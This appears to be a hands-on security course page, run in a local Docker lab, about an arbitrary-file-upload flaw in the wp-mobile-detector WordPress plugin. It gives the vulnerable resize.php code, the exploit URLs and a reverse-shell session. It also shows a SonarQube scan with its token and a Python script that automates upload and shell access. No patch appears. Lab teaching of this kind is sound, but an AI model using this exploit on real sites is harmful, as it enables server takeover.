> For the complete documentation index, see [llms.txt](https://jeanpeyremesmots.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeanpeyremesmots.gitbook.io/home/jpmm-en/courses-and-hands-on-exercises/patching-a-vulnerability.md).

# Patching a vulnerability

We start by creating the Docker environment.

Since the WordPress plugin to audit here is fairly old, it's necessary to use a container:

```bash
# On my Kali box
docker run --name wordpress -p80:80 -d thiagobarradas/wordpress:4.5-php7.2

Password: Mudar123
```

We can then connect to it:

```bash
# Shell into the container
$ docker ps

CONTAINER ID   IMAGE                                 COMMAND     CREATED       STATUS       PORTS                                         NAMES
208f62cd787e   thiagobarradas/wordpress:4.5-php7.2   "/run.sh"   6 hours ago   Up 5 hours   0.0.0.0:80->80/tcp, :::80->80/tcp, 3306/tcp   wordpress

$ docker exec -it 208f62cd787e bash

# Inside the container
root@208f62cd787e:/app#
```

Next we need to configure the plugin to raise the upload size limit and skip the FTP server configuration:

```bash
root@208f62cd787e:/app# vim php.ini
# Add the following directives:
        upload_max_filesize = 64M
        post_max_size = 128M
        memory_limit = 264M
root@208f62cd787e:/app# vim wp-config.php
# Likewise:
        define( 'FS_METHOD', 'direct' );
```

We can start searching the unzipped plugin archive for the occurrences mentioned on the topic — namely HTTP requests used in PHP via variables starting with "$\_":

```bash
grep -E -n '\$_GET|_COOKIE|_POST|_HEAD|_REQUEST|_PUT|_DELETE|_CONNECT|_OPTIONS|_TRACE|_PATCH' $(find . -name "*.php")
```

Here we use a regex (regular expression) to find every such variable present across all *.php* files in the archive.

We get the following output:

```bash

[...]

/wp-mobile-detector/resize.php:3:

$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);

./wp-mobile-detector/resize.php:28:

file_put_contents($path, file_get_contents($_REQUEST['src']));

./wp-mobile-detector/resize.php:38:                       

$thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);

[...]
```

One detail immediately stands out: the "file\_put\_contents" function present in the image resizing file "resize.php". It drops a file passed as a parameter after "src":

```bash
file_put_contents($path, file_get_contents($_REQUEST['src']));
```

Looking at the file in more detail:

```php
file_put_contents($path, file_get_contents($_REQUEST['src']));
                if(file_exists(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php"))
{
    if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION >= 5)
    {
	    include_once(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php");
    }
    else
    {
		include_once(dirname(__FILE__)."/libs/image/PHP4/easyphpthumbnail.class.php");                }                    
    try
    {
        $thumb = new easyphpthumbnail;
        $thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);
        echo $thumb -> Createthumb($path);
        exit();
    } catch (Exception $e) 
    {
        // $e->getMessage()
    }
}

```

"file\_put\_contents" here calls on the $*REQUEST* associative array, which can be manipulated by the user. So we can pass it a value — here, a file — after the "src" parameter, taking its absolute path via "dirname".

The file is then dropped into the plugin's "/cache/" folder:

```php
$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
```

Moreover, no extension check or sanitization is performed on the value passed as a parameter, which here is a **file**. So we can go ahead and try uploading a file right away.

We start by spinning up our Python server in a dedicated directory. Here, we first try with an empty *.php* file:

```bash
mkdir server

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin]
└─ cd server/

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ echo "hello world" > hello.php

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ python -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
```

Accessing the page, nothing shows up on the front end (which is expected):<br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-27faf2a4e16757f15fb47c527a86f8dc180c74d3%2Fimage%20(41).png?alt=media" alt=""><figcaption></figcaption></figure>

But by inserting a parameter in the URL that redirects directly to our file:\
\
<http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/hello.php><br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-cbb5a25cc45ba358305f60fd08e66eaa087963b3%2Fimage%20(59).png?alt=media" alt=""><figcaption></figcaption></figure>

We can now navigate to where the file is stored, namely "/cache":<br>

<http://localhost/wp-content/plugins/wp-mobile-detector/cache/><br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-31dea352a7c9879b41564914ac8e9efa0bb562c7%2Fimage%20(25).png?alt=media" alt=""><figcaption></figcaption></figure>

Our php file has indeed been uploaded! Without further ado, we can now insert a webshell, generated with the excellent tool [http://revshells.com](https://revshells.com):\ <br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-64a4d555e7e45132f326e022532e14c927eeb8bb%2Fimage%20(15).png?alt=media" alt=""><figcaption></figcaption></figure>

The file is now saved as "shell.php". After selecting our payload and setting the port and IP address, we can set up a netcat listener:

```bash
$ nc -lvnp 9001
```

Then we rename our hello.php to shell.php:

```bash
$ mv hello.php shell.php
```

Then we point our webshell to our new file:\
\
<http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/shell.php><br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-3806f747f64a66791fbcddd9f63f2ee8dafe7b7c%2Fimage%20(37).png?alt=media" alt=""><figcaption></figcaption></figure>

Then in our netcat:

```bash
──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [172.18.0.1] from (UNKNOWN) [172.17.0.2] 35112
Linux 208f62cd787e 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali1 (2023-02-20) x86_64 GNU/Linux
 15:04:39 up  5:49,  0 users,  load average: 0.11, 0.07, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ id
www-data
```

And we're connected!

#### Static analysis using a dedicated tool:

We first choose to install it in a Docker container:

```
docker pull sonarqube
```

Create a Docker container named "sonarqube" and expose it on port 9000:

```
docker run -d --name sonarqube -p 9000:9000 sonarqube
```

Connect at <http://localhost:9000> then create a project and note its key:<br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-8a277260d740b86ae478f429b23cdbcca3d1cfcb%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

```
// WordPress project token
sqp_426b09312d11c799be029d732080daade6585261
```

Download and install the SonarQube scanner on our local machine, then use it to analyze the plugin archive:

```bash

curl https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-4.8.0.2856-linux.zip

unzip -d . sonar-scanner-cli-4.8.0.2856-linux.zip

```

```bash
../../sonarqube/sonar-scanner/bin/sonar-scanner   
-Dsonar.projectKey=Wordpress   
-Dsonar.sources=.   
-Dsonar.host.url=http://localhost:9000   
-Dsonar.login=sqp_426b09312d11c799be029d732080daade6585261
```

This command will analyze the PHP code in the current directory and send the results to SonarQube.

We go back to the SonarQube web interface and access our project. We can now see the results of the PHP code analysis:<br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-66edf2c6471ba201938330c21652defac6734d2c%2Fimage%20(36).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Writing a Python script to automate the task

Now it's time to create a script to get us full access to the server:

```python
import http.server
import socketserver
import requests
from urllib.parse import quote
import threading
from requests.models import PreparedRequest
from http.server import BaseHTTPRequestHandler
import socket, sys, time
import netifaces
from urllib.parse import urlparse, unquote
import os

# Global vars
print("Don't forget the run a python http web server to host your payload : $ python3 -m http.server PORT_NUMBER")
UPLOAD_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/resize.php"
GETSHELL_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/cache/"
IP_ADDR = input("Please provide your IP : ")
PORT = input("Please prove a port : ")
PAYLOAD = input("Please provide your payload : ")

# starting the listener
def listen(ip,port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# same as previously
	s.bind((IP_ADDR, port))
	s.listen(1)
	print("Listening on port " + str(port))
	conn, addr = s.accept()
	print('Connection received from ',addr)
	while True:
		#Receive data from the target and get user input
		ans = conn.recv(1024).decode()
		sys.stdout.write(ans)
		command = input()
		#Send command
		command += "\n"
		conn.send(command.encode())
		time.sleep(1)
		#Remove the output of the "input()" function
		sys.stdout.write("\033[A" + ans.split("\n")[-1])

def startingAttack():
	# getting the http web server address
	protocol = "http"
	attack_param = f"{protocol}://{IP_ADDR}:{PORT}/{PAYLOAD}"
	print("Attack param to send : ", attack_param)
	# testing the parameters utils
	# for the uploading url
	req = PreparedRequest()
	url = UPLOAD_ADDR
	# params with ip and file from the http server
	params = {'src':attack_param}
	# Passing params and decoding
	req.prepare_url(url, params)
	upload_url_param = unquote(req.url)
	print("Upload URL: ", upload_url_param)
	
	# Same for the getshell_addr
	url_with_payload = GETSHELL_ADDR + PAYLOAD
	print("Getting a shell at : " + url_with_payload)
	# A GET request to the URLs
	upload_response = requests.get(upload_url_param)
	#print(upload_response)
	# To obtain a shell
	os.system("curl " + url_with_payload)
	#print(attack_response)

startingAttack()
listen("127.0.0.1",9999)
```

This fully automates the attack:<br>

<figure><img src="https://1542616339-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq0kLRqEluZvLRXK1LDcp%2Fuploads%2Fgit-blob-a0368f03974c3355a37f67b38effa4e220d0e502%2Fimage%20(28).png?alt=media" alt=""><figcaption></figcaption></figure>
